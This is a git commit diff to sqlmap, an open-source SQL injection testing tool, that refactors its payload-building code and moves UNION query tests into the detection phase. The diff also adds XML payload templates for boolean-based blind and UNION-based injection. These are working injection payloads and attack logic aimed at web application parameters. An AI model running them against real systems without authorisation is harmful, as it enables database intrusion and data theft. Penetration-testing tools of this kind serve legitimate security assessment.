First big commit to move UNION query tests to detection phase - there are some improvements and tuning to do yet though.

Major refactoring to Agent.payload() method.
Minor bug fixes, some code refactoring and a lot of core adjustments here and there.
Added more checks for injection in GROUP BY and ORDER BY.
This commit is contained in:
Bernardo Damele 2011-01-11 22:18:47 +00:00
parent 06230e4d92
commit 300128042c
10 changed files with 254 additions and 200 deletions

View File

@ -32,6 +32,7 @@ from lib.core.common import trimAlphaNum
from lib.core.common import wasLastRequestDBMSError
from lib.core.common import wasLastRequestHTTPError
from lib.core.common import DynamicContentItem
from lib.core.common import configUnion
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
@ -55,8 +56,12 @@ from lib.core.settings import UPPER_RATIO_BOUND
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.request.templates import getPageTemplate
from lib.techniques.inband.union.test import unionTest
def unescape(string, dbms):
if string is None:
return string
if dbms in unescaper and "WAITFOR DELAY " not in string:
return unescaper[dbms](string)
else:
@ -84,8 +89,9 @@ def checkSqlInjection(place, parameter, value):
# Set the flag for sql injection test mode
kb.testMode = True
for test in getInjectionTests():
try:
#for test in getInjectionTests():
for test in conf.tests:
try:
if kb.endDetection:
break
@ -143,11 +149,12 @@ def checkSqlInjection(place, parameter, value):
continue
if getErrorParsedDBMSes() and dbms not in getErrorParsedDBMSes()\
and kb.skipTests is None:
message = "parsed error message(s) showed that the back-end DBMS could be '%s'." % getErrorParsedDBMSesFormatted()
message += " do you want to skip test payloads specific for other DBMSes? [Y/n]"
kb.skipTests = conf.realTest or readInput(message, default="Y") not in ("n", "N")
# NOTE: Leave this commented for the time being
#if getErrorParsedDBMSes() and dbms not in getErrorParsedDBMSes() and kb.skipTests is None:
# msg = "parsed error message(s) showed that the "
# msg += "back-end DBMS could be '%s'. " % getErrorParsedDBMSesFormatted()
# msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
# kb.skipTests = conf.realTest or readInput(msg, default="Y") not in ("n", "N")
if kb.skipTests:
debugMsg = "skipping test '%s' because " % title
@ -189,7 +196,6 @@ def checkSqlInjection(place, parameter, value):
comment = agent.getComment(test.request)
fstPayload = agent.cleanupPayload(test.request.payload, value)
fstPayload = unescapeDbms(fstPayload, injection, dbms)
fstPayload = "%s%s" % (fstPayload, comment)
if stype != 4 and clause != [2, 3] and clause != [ 3 ]:
space = " "
@ -280,11 +286,11 @@ def checkSqlInjection(place, parameter, value):
if where == 1:
origValue = value
elif where == 2:
# Use different page template than the original
# one as we are changing parameters value, which
# will likely result in a different content
origValue = "-%s" % randomInt()
# Use different page template than the original one
# as we are changing parameters value, which will result
# most definitely with a different content
templatePayload = agent.payload(place, parameter, value, origValue)
templatePayload = agent.payload(place, parameter, newValue=origValue, where=where)
elif where == 3:
origValue = ""
@ -293,10 +299,11 @@ def checkSqlInjection(place, parameter, value):
# Forge request payload by prepending with boundary's
# prefix and appending the boundary's suffix to the
# test's ' <payload><comment> ' string
boundPayload = "%s%s%s%s %s" % (origValue, prefix, space, fstPayload, suffix)
boundPayload = boundPayload.strip()
boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix)
boundPayload = agent.cleanupPayload(boundPayload, value)
reqPayload = agent.payload(place, parameter, value, boundPayload)
reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
unionVector = None
# Perform the test's request and check whether or not the
# payload was successful
@ -308,16 +315,15 @@ def checkSqlInjection(place, parameter, value):
if method == PAYLOAD.METHOD.COMPARISON:
sndPayload = agent.cleanupPayload(test.response.comparison, value)
sndPayload = unescapeDbms(sndPayload, injection, dbms)
sndPayload = "%s%s" % (sndPayload, comment)
# Forge response payload by prepending with
# boundary's prefix and appending the boundary's
# suffix to the test's ' <payload><comment> '
# string
boundPayload = "%s%s%s%s %s" % (origValue, prefix, space, sndPayload, suffix)
boundPayload = boundPayload.strip()
boundPayload = agent.prefixQuery(sndPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix)
boundPayload = agent.cleanupPayload(boundPayload, value)
cmpPayload = agent.payload(place, parameter, value, boundPayload)
cmpPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
# Useful to set kb.matchRatio at first based on
# the False response content
@ -337,7 +343,7 @@ def checkSqlInjection(place, parameter, value):
injectable = True
# In case of error-based or UNION query SQL injections
# In case of error-based SQL injection
elif method == PAYLOAD.METHOD.GREP:
# Perform the test's request and grep the response
# body for the test's <grep> regular expression
@ -369,6 +375,20 @@ def checkSqlInjection(place, parameter, value):
injectable = True
# In case of UNION query SQL injection
elif method == PAYLOAD.METHOD.UNION:
conf.uChar = test.request.char
conf.uCols = test.request.columns
configUnion()
reqPayload, unionVector = unionTest(comment, place, parameter, value, prefix, suffix)
if isinstance(reqPayload, basestring):
infoMsg = "%s parameter '%s' is '%s' injectable" % (place, parameter, title)
logger.info(infoMsg)
injectable = True
# If the injection test was successful feed the injection
# object with the test's details
if injectable is True:
@ -396,7 +416,7 @@ def checkSqlInjection(place, parameter, value):
injection.data[stype].title = title
injection.data[stype].payload = agent.removePayloadDelimiters(reqPayload, False)
injection.data[stype].where = where
injection.data[stype].vector = vector
injection.data[stype].vector = agent.cleanupPayload(vector, unionVector=unionVector)
injection.data[stype].comment = comment
injection.data[stype].matchRatio = kb.matchRatio
injection.data[stype].templatePayload = templatePayload
@ -439,9 +459,6 @@ def checkSqlInjection(place, parameter, value):
kb.endDetection = True
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
finally:
# Flush the flag
kb.testMode = False
# Return the injection object
if injection.place is not None and injection.parameter is not None:
@ -466,8 +483,8 @@ def heuristicCheckSqlInjection(place, parameter, value):
if conf.suffix:
suffix = conf.suffix
payload = "%s%s%s%s" % (value, prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), suffix)
payload = agent.payload(place, parameter, value, payload)
payload = "%s%s%s" % (prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), suffix)
payload = agent.payload(place, parameter, newValue=payload)
Request.queryPage(payload, place, content=True, raise404=False)
result = wasLastRequestDBMSError()
@ -808,13 +825,14 @@ def checkConnection(suppressOutput=False):
kb.originalPage = kb.pageTemplate = page
kb.errorIsNone = False
if wasLastRequestDBMSError():
warnMsg = "there is an (DBMS) error found in the content of provided target url"
warnMsg += " which could interfere with the results of the tests"
warnMsg = "there is a DBMS error found in the HTTP response body"
warnMsg += "which could interfere with the results of the tests"
logger.warn(warnMsg)
elif wasLastRequestHTTPError():
warnMsg = "there is an (HTTP) error found in the content of provided target url"
warnMsg += " which could interfere with the results of the tests"
warnMsg = "the web server responded with an HTTP error code "
warnMsg += "which could interfere with the results of the tests"
logger.warn(warnMsg)
else:
kb.errorIsNone = True

View File

@ -110,8 +110,8 @@ def __formatInjection(inj):
return data
def __showInjections():
header = "sqlmap identified the following injection points "
header += "with %d HTTP(s) requests" % kb.testQueryCount
header = "sqlmap identified the following injection points with "
header += "a total of %d HTTP(s) requests" % kb.testQueryCount
data = ""
for inj in kb.injections:
@ -349,12 +349,11 @@ def start():
not simpletonCheckSqlInjection(place, parameter, value):
continue
logMsg = "testing sql injection on %s " % place
logMsg = "testing sql injection on %s " % place
logMsg += "parameter '%s'" % parameter
logger.info(logMsg)
injection = checkSqlInjection(place, parameter, value)
proceed = not kb.endDetection
if injection is not None and injection.place is not None:
@ -373,7 +372,7 @@ def start():
paramKey = (conf.hostname, conf.path, None, None)
kb.testedParams.add(paramKey)
else:
warnMsg = "%s parameter '%s' is not " % (place, parameter)
warnMsg = "%s parameter '%s' is not " % (place, parameter)
warnMsg += "injectable"
logger.warn(warnMsg)
@ -386,6 +385,9 @@ def start():
errMsg = "it seems that all parameters are not injectable"
raise sqlmapNotVulnerableException, errMsg
else:
# Flush the flag
kb.testMode = False
__saveToSessionFile()
__showInjections()
__selectInjection()

View File

@ -53,7 +53,7 @@ class Agent:
return query
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False):
def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
"""
This method replaces the affected parameter with the SQL
injection statement to request
@ -62,59 +62,38 @@ class Agent:
if conf.direct:
return self.payloadDirect(newValue)
falseValue = ""
negValue = ""
retValue = ""
retValue = ""
if negative or kb.unionNegative:
negValue = "-"
if where is None and isTechniqueAvailable(kb.technique):
where = kb.injection.data[kb.technique].where
# After identifing the injectable parameter
if kb.injection.place == PLACE.UA and kb.injection.parameter:
retValue = kb.injection.parameter.replace(kb.injection.parameter,
self.addPayloadDelimiters("%s%s" % (negValue, kb.injection.parameter + falseValue + newValue)))
elif kb.injection.place and kb.injection.parameter:
paramString = conf.parameters[kb.injection.place]
paramDict = conf.paramDict[kb.injection.place]
origValue = paramDict[kb.injection.parameter]
if kb.injection.place is not None:
place = kb.injection.place
if isTechniqueAvailable(kb.technique):
where = kb.injection.data[kb.technique].where
if kb.injection.parameter is not None:
parameter = kb.injection.parameter
if place == PLACE.UA:
retValue = parameter.replace(parameter, self.addPayloadDelimiters(parameter + newValue))
else:
paramString = conf.parameters[place]
paramDict = conf.paramDict[place]
origValue = paramDict[parameter]
if value is None:
if where == 1:
value = origValue
elif where == 2:
value = "-%s" % randomInt()
elif where == 3:
value = ""
else:
value = origValue
else:
value = origValue
newValue = "%s%s" % (value, newValue)
newValue = self.cleanupPayload(newValue, origValue)
if "POSTxml" in conf.paramDict and kb.injection.place == PLACE.POST:
root = ET.XML(paramString)
iterator = root.getiterator(kb.injection.parameter)
for child in iterator:
child.text = self.addPayloadDelimiters(negValue + value + falseValue + newValue)
retValue = ET.tostring(root)
elif kb.injection.place == PLACE.URI:
retValue = paramString.replace("*",
self.addPayloadDelimiters("%s%s" % (negValue, falseValue + newValue)))
else:
retValue = paramString.replace("%s=%s" % (kb.injection.parameter, origValue),
"%s=%s" % (kb.injection.parameter, self.addPayloadDelimiters(negValue + value + falseValue + newValue)))
# Before identifing the injectable parameter
elif parameter == PLACE.UA:
retValue = value.replace(value, self.addPayloadDelimiters(newValue))
elif place == PLACE.URI:
retValue = value.replace("*", self.addPayloadDelimiters("%s" % newValue.replace(value, str())))
else:
paramString = conf.parameters[place]
if "POSTxml" in conf.paramDict and place == PLACE.POST:
root = ET.XML(paramString)
iterator = root.getiterator(parameter)
@ -123,10 +102,13 @@ class Agent:
child.text = self.addPayloadDelimiters(newValue)
retValue = ET.tostring(root)
elif place == PLACE.URI:
retValue = paramString.replace("*", self.addPayloadDelimiters(newValue))
else:
retValue = paramString.replace("%s=%s" % (parameter, value),
retValue = paramString.replace("%s=%s" % (parameter, origValue),
"%s=%s" % (parameter, self.addPayloadDelimiters(newValue)))
# print "retValue:", retValue
return retValue
def fullPayload(self, query):
@ -139,7 +121,7 @@ class Agent:
return payload
def prefixQuery(self, string):
def prefixQuery(self, string, prefix=None, where=None, clause=None):
"""
This method defines how the input string has to be escaped
to perform the injection depending on the injection type
@ -156,9 +138,10 @@ class Agent:
# payload, do not put a space after the prefix
if kb.technique == PAYLOAD.TECHNIQUE.STACKED:
query = kb.injection.prefix
elif kb.injection.clause == [2, 3] or kb.injection.clause == [ 3 ]:
if kb.technique != PAYLOAD.TECHNIQUE.UNION:
query = kb.injection.prefix
elif where == 3 or clause == [2, 3] or clause == [ 2 ] or clause == [ 3 ]:
query = prefix
elif kb.injection.clause == [2, 3] or kb.injection.clause == [ 2 ] or kb.injection.clause == [ 3 ]:
query = kb.injection.prefix
elif kb.technique and kb.technique in kb.injection.data:
where = kb.injection.data[kb.technique].where
@ -166,14 +149,17 @@ class Agent:
query = kb.injection.prefix
if query is None:
query = "%s " % kb.injection.prefix
if kb.injection.prefix is None and prefix is not None:
query = "%s " % prefix
else:
query = "%s " % kb.injection.prefix
query = "%s%s" % (query, string)
query = self.cleanupPayload(query)
return query
def suffixQuery(self, string, comment=None):
def suffixQuery(self, string, comment=None, suffix=None):
"""
This method appends the DBMS comment to the
SQL injection request
@ -185,12 +171,16 @@ class Agent:
if comment is not None:
string += comment
string += " %s" % kb.injection.suffix
if kb.injection.suffix is None and suffix is not None:
string += " %s" % suffix
else:
string += " %s" % kb.injection.suffix
string = self.cleanupPayload(string)
return string.rstrip()
def cleanupPayload(self, payload, origvalue=None):
def cleanupPayload(self, payload, origvalue=None, unionVector=None):
if payload is None:
return
@ -207,11 +197,9 @@ class Agent:
payload = payload.replace("[DELIMITER_STOP]", kb.misc.stop)
payload = payload.replace("[SPACE_REPLACE]", kb.misc.space)
payload = payload.replace("[SLEEPTIME]", str(conf.timeSec))
payload = payload.replace("[UNION]", str(unionVector))
if origvalue is not None:
if not origvalue.isdigit():
origvalue = "'%s'" % origvalue
payload = payload.replace("[ORIGVALUE]", origvalue)
if "[INFERENCE]" in payload:
@ -228,14 +216,15 @@ class Agent:
payload = payload.replace("[INFERENCE]", inferenceQuery)
elif kb.misc.testedDbms is not None:
elif hasattr(kb.misc, "testedDbms") and kb.misc.testedDbms is not None:
inferenceQuery = queries[kb.misc.testedDbms].inference.query
payload = payload.replace("[INFERENCE]", inferenceQuery)
else:
errMsg = "invalid usage of inference payload without "
errMsg += "knowledge of underlying DBMS"
raise sqlmapNoneDataException, errMsg
# NOTE: Leave this commented for the time being
#else:
# errMsg = "invalid usage of inference payload without "
# errMsg += "knowledge of underlying DBMS"
# raise sqlmapNoneDataException, errMsg
return payload
@ -483,7 +472,7 @@ class Agent:
return concatenatedQuery
def forgeInbandQuery(self, query, exprPosition=None, nullChar=None, count=None, comment=None, multipleUnions=None):
def forgeInbandQuery(self, query, exprPosition=None, nullChar=None, count=None, comment=None, prefix=None, suffix=None, multipleUnions=None):
"""
Take in input an query (pseudo query) string and return its
processed UNION ALL SELECT query.
@ -526,7 +515,7 @@ class Agent:
if query.startswith("SELECT "):
query = query[len("SELECT "):]
inbandQuery = self.prefixQuery("UNION ALL SELECT ")
inbandQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix)
if query.startswith("TOP"):
topNum = re.search("\ATOP\s+([\d]+)\s+", query, re.I).group(1)
@ -584,8 +573,7 @@ class Agent:
if kb.dbms == DBMS.ORACLE:
inbandQuery += " FROM DUAL"
inbandQuery = self.suffixQuery(inbandQuery, comment)
inbandQuery = self.suffixQuery(inbandQuery, comment, suffix)
return inbandQuery

View File

@ -1935,6 +1935,7 @@ def initTechnique(technique=None):
"""
Prepares proper page template and match ratio for technique specified
"""
try:
data = getTechniqueData(technique)
@ -1945,7 +1946,8 @@ def initTechnique(technique=None):
warnMsg = "there is no injection data available for technique "
warnMsg += "'%s'" % enumValueToNameLookup(PAYLOAD.TECHNIQUE, technique)
logger.warn(warnMsg)
except sqlmapDataException, ex:
except sqlmapDataException, _:
errMsg = "missing data in old session file(s). "
errMsg += "please use '--flush-session' to deal "
errMsg += "with this error"
@ -2063,3 +2065,35 @@ def openFile(filename, mode='r'):
('w' in mode or 'a' in mode or '+' in mode) else "read")
errMsg += "and that it's not locked by another process."
raise sqlmapFilePathException, errMsg
def configUnion():
if isinstance(conf.uCols, basestring):
debugMsg = "setting the UNION query SQL injection range of columns"
logger.debug(debugMsg)
if "-" not in conf.uCols or len(conf.uCols.split("-")) != 2:
raise sqlmapSyntaxException, "--union-cols must be a range with hyphon (e.g. 1-10)"
conf.uCols = conf.uCols.replace(" ", "")
conf.uColsStart, conf.uColsStop = conf.uCols.split("-")
if not conf.uColsStart.isdigit() or not conf.uColsStop.isdigit():
raise sqlmapSyntaxException, "--union-cols must be a range of integers"
conf.uColsStart = int(conf.uColsStart)
conf.uColsStop = int(conf.uColsStop)
if conf.uColsStart > conf.uColsStop:
errMsg = "--union-cols range has to be from lower to "
errMsg += "higher number of columns"
raise sqlmapSyntaxException, errMsg
if isinstance(conf.uChar, basestring) and conf.uChar != "NULL":
debugMsg = "setting the UNION query SQL injection character to '%s'" % conf.uChar
logger.debug(debugMsg)
if not conf.uChar.isdigit() and ( not conf.uChar.startswith("'") or not conf.uChar.endswith("'") ):
debugMsg = "forcing the UNION query SQL injection character to '%s'" % conf.uChar
logger.debug(debugMsg)
conf.uChar = "'%s'" % conf.uChar

View File

@ -204,70 +204,18 @@ def setUnion(comment=None, count=None, position=None, negative=False, char=None,
"""
if comment:
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Union comment") )
)
if condition:
dataToSessionFile("[%s][%s][%s][Union comment][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(comment)))
kb.unionComment = comment
if count:
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Union count") )
)
if condition:
dataToSessionFile("[%s][%s][%s][Union count][%d]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), count))
kb.unionCount = count
if position is not None:
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Union position") )
)
if condition:
dataToSessionFile("[%s][%s][%s][Union position][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), position))
kb.unionPosition = position
if negative:
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
( not kb.resumedQueries[conf.url].has_key("Union negative")
) )
)
if condition:
dataToSessionFile("[%s][%s][%s][Union negative][Yes]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place])))
kb.unionNegative = True
if char:
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
( not kb.resumedQueries[conf.url].has_key("Union char")
) )
)
if condition:
dataToSessionFile("[%s][%s][%s][Union char][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), char))
if payload:
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
( not kb.resumedQueries[conf.url].has_key("Union payload")
) )
)
if condition:
dataToSessionFile("[%s][%s][%s][Union payload][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), payload))
kb.unionTest = payload
def setRemoteTempPath():

View File

@ -235,7 +235,7 @@ def cmdLineParser():
action="store_true", default=False,
help="Test for and use UNION query (inband) SQL injection")
techniques.add_option("--union-cols", dest="uCols", default="1-20",
techniques.add_option("--union-cols", dest="uCols",
help="Range of columns to test for UNION query SQL injection")
techniques.add_option("--union-char", dest="uChar", default="NULL",

View File

@ -397,7 +397,7 @@ def getValue(expression, blind=True, inband=True, error=True, time=True, fromUse
if conf.direct:
value = direct(expression)
elif kb.unionTest or any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))):
elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))):
query = cleanQuery(expression)
query = expandAsteriskForColumns(query)
value = None
@ -414,7 +414,7 @@ def getValue(expression, blind=True, inband=True, error=True, time=True, fromUse
else:
forgeCaseExpression = agent.forgeCaseStatement(expression)
if inband and kb.unionTest is not None:
if inband and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
kb.technique = PAYLOAD.TECHNIQUE.UNION
if expected == EXPECTED.BOOL:

View File

@ -26,8 +26,9 @@ from lib.core.unescaper import unescaper
from lib.parse.html import htmlParser
from lib.request.connect import Connect as Request
def __unionPosition(negative=False, count=None, comment=None):
def __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=1):
validPayload = None
unionVector = None
if count is None:
count = kb.unionCount
@ -42,38 +43,40 @@ def __unionPosition(negative=False, count=None, comment=None):
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment)
payload = agent.payload(newValue=query, negative=negative)
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment, prefix=prefix, suffix=suffix)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
# Perform the request
resultPage, _ = Request.queryPage(payload, content=True)
resultPage, _ = Request.queryPage(payload, place=place, content=True)
if resultPage and randQuery in resultPage:
setUnion(position=exprPosition)
validPayload = payload
unionVector = agent.forgeInbandQuery("[PAYLOAD]", exprPosition, count=count, comment=comment, prefix=prefix, suffix=suffix)
if not negative:
if where == 1:
# Prepare expression with delimiters
randQuery2 = randomStr()
randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2)
# Confirm that it is a full inband SQL injection
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment, multipleUnions=randQueryUnescaped2)
payload = agent.payload(newValue=query, negative=negative)
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment, prefix=prefix, suffix=suffix, multipleUnions=randQueryUnescaped2)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=2)
# Perform the request
resultPage, _ = Request.queryPage(payload, content=True)
resultPage, _ = Request.queryPage(payload, place=place, content=True)
if resultPage and (randQuery not in resultPage or randQuery2 not in resultPage):
setUnion(negative=True)
break
return validPayload
return validPayload, unionVector
def __unionConfirm(count=None, comment=None):
def __unionConfirm(comment, place, parameter, value, prefix, suffix, count):
validPayload = None
unionVector = None
# Confirm the inband SQL injection and get the exact column
# position which can be used to extract data
@ -81,62 +84,64 @@ def __unionConfirm(count=None, comment=None):
debugMsg = "testing full inband with %s columns" % count
logger.debug(debugMsg)
validPayload = __unionPosition(count=count, comment=comment)
validPayload, unionVector = __unionPosition(comment, place, parameter, value, prefix, suffix, count)
# Assure that the above function found the exploitable full inband
# SQL injection position
if not isinstance(kb.unionPosition, int):
debugMsg = "testing single-entry inband value with %s columns" % count
debugMsg = "testing single-entry inband with %s columns" % count
logger.debug(debugMsg)
validPayload = __unionPosition(negative=True, count=count, comment=comment)
validPayload, unionVector = __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=2)
# Assure that the above function found the exploitable partial
# (single entry) inband SQL injection position with negative
# parameter validPayload
if not isinstance(kb.unionPosition, int):
return None
return None, None
else:
setUnion(negative=True)
return validPayload
return validPayload, unionVector
def __unionTestByCharBruteforce(comment):
def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix):
"""
This method tests if the target url is affected by an inband
SQL injection vulnerability. The test is done up to 50 columns
on the target database table
"""
validPayload = None
unionVector = None
query = agent.prefixQuery("UNION ALL SELECT %s" % conf.uChar)
for num in range(conf.uColsStart, conf.uColsStop+1):
for count in range(conf.uColsStart, conf.uColsStop+1):
if kb.dbms == DBMS.ORACLE and query.endswith(" FROM DUAL"):
query = query[:-len(" FROM DUAL")]
if num:
if count:
query += ", %s" % conf.uChar
if kb.dbms == DBMS.ORACLE:
query += " FROM DUAL"
if conf.verbose in (1, 2):
length = conf.uColsStop + 1 - conf.uColsStart
count = num - conf.uColsStart + 1
status = '%d/%d (%d%s)' % (count, length, round(100.0*count/length), '%')
status = '%d/%d (%d%s)' % (count, conf.uColsStop, round(100.0*count/conf.uColsStop), '%')
dataToStdout("\r[%s] [INFO] number of columns: %s" % (time.strftime("%X"), status), True)
validPayload = __unionConfirm(num, comment)
dataToStdout("\n")
validPayload, unionVector = __unionConfirm(comment, place, parameter, value, prefix, suffix, count)
if validPayload:
setUnion(count=num)
setUnion(count=count)
break
clearConsoleLine(True)
return validPayload
return validPayload, unionVector
def unionTest():
def unionTest(comment, place, parameter, value, prefix, suffix):
"""
This method tests if the target url is affected by an inband
SQL injection vulnerability. The test is done up to 3*50 times
@ -145,9 +150,6 @@ def unionTest():
if conf.direct:
return
if kb.unionTest is not None:
return kb.unionTest
oldTechnique = kb.technique
kb.technique = PAYLOAD.TECHNIQUE.UNION
@ -156,12 +158,7 @@ def unionTest():
else:
technique = "char (%s) bruteforcing" % conf.uChar
infoMsg = "testing inband sql injection on parameter "
infoMsg += "'%s' with %s technique" % (kb.injection.parameter, technique)
logger.info(infoMsg)
comment = queries[kb.dbms].comment.query
validPayload = __unionTestByCharBruteforce(comment)
validPayload, unionVector = __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
if validPayload:
validPayload = agent.removePayloadDelimiters(validPayload, False)
@ -169,16 +166,4 @@ def unionTest():
setUnion(comment=comment)
setUnion(payload=validPayload)
if kb.unionTest is not None:
infoMsg = "the target url is affected by an exploitable "
infoMsg += "inband sql injection vulnerability "
infoMsg += "on parameter '%s' with %d columns" % (kb.injection.parameter, kb.unionCount)
logger.info(infoMsg)
else:
infoMsg = "the target url is not affected by an exploitable "
infoMsg += "inband sql injection vulnerability "
infoMsg += "on parameter '%s'" % kb.injection.parameter
logger.info(infoMsg)
kb.technique = oldTechnique
return kb.unionTest
return validPayload, unionVector

View File

@ -15,12 +15,14 @@ from lib.core.common import calculateDeltaSeconds
from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout
from lib.core.common import getUnicode
from lib.core.common import initTechnique
from lib.core.common import parseUnionPage
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import DBMS
from lib.core.enums import PAYLOAD
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest
@ -35,6 +37,8 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
inband SQL injection on the affected url
"""
initTechnique(PAYLOAD.TECHNIQUE.UNION)
count = None
origExpr = expression
start = time.time()

View File

@ -553,6 +553,22 @@ Formats:
<risk>1</risk>
<clause>1,2,3</clause>
<where>3</where>
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/0 END))</vector>
<request>
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END))</payload>
</request>
<response>
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END))</comparison>
</response>
</test>
<test>
<title>Generic boolean-based blind - Parameter replace (original value)</title>
<stype>1</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3</clause>
<where>3</where>
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END))</vector>
<request>
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END))</payload>
@ -650,6 +666,22 @@ Formats:
<risk>1</risk>
<clause>2,3</clause>
<where>1</where>
<vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/0 END))</vector>
<request>
<payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END))</payload>
</request>
<response>
<comparison>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END))</comparison>
</response>
</test>
<test>
<title>Generic boolean-based blind - GROUP BY and ORDER BY clauses (original value)</title>
<stype>1</stype>
<level>4</level>
<risk>1</risk>
<clause>2,3</clause>
<where>1</where>
<vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END))</vector>
<request>
<payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END))</payload>
@ -1824,4 +1856,47 @@ Formats:
<!-- TODO: if possible, add payload for Microsoft Access and SAP MaxDB -->
<!-- End of OR time-based blind tests -->
<!-- UNION query tests -->
<test>
<title>MySQL NULL UNION query - 4 to 7 columns</title>
<stype>3</stype>
<level>1</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>NULL</char>
<columns>4-7</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>Generic NULL UNION query - 1 to 3 columns</title>
<stype>3</stype>
<level>1</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>--</comment>
<char>NULL</char>
<columns>1-3</columns>
</request>
<response>
<union/>
</response>
</test>
<!-- End of UNION query tests -->
</root>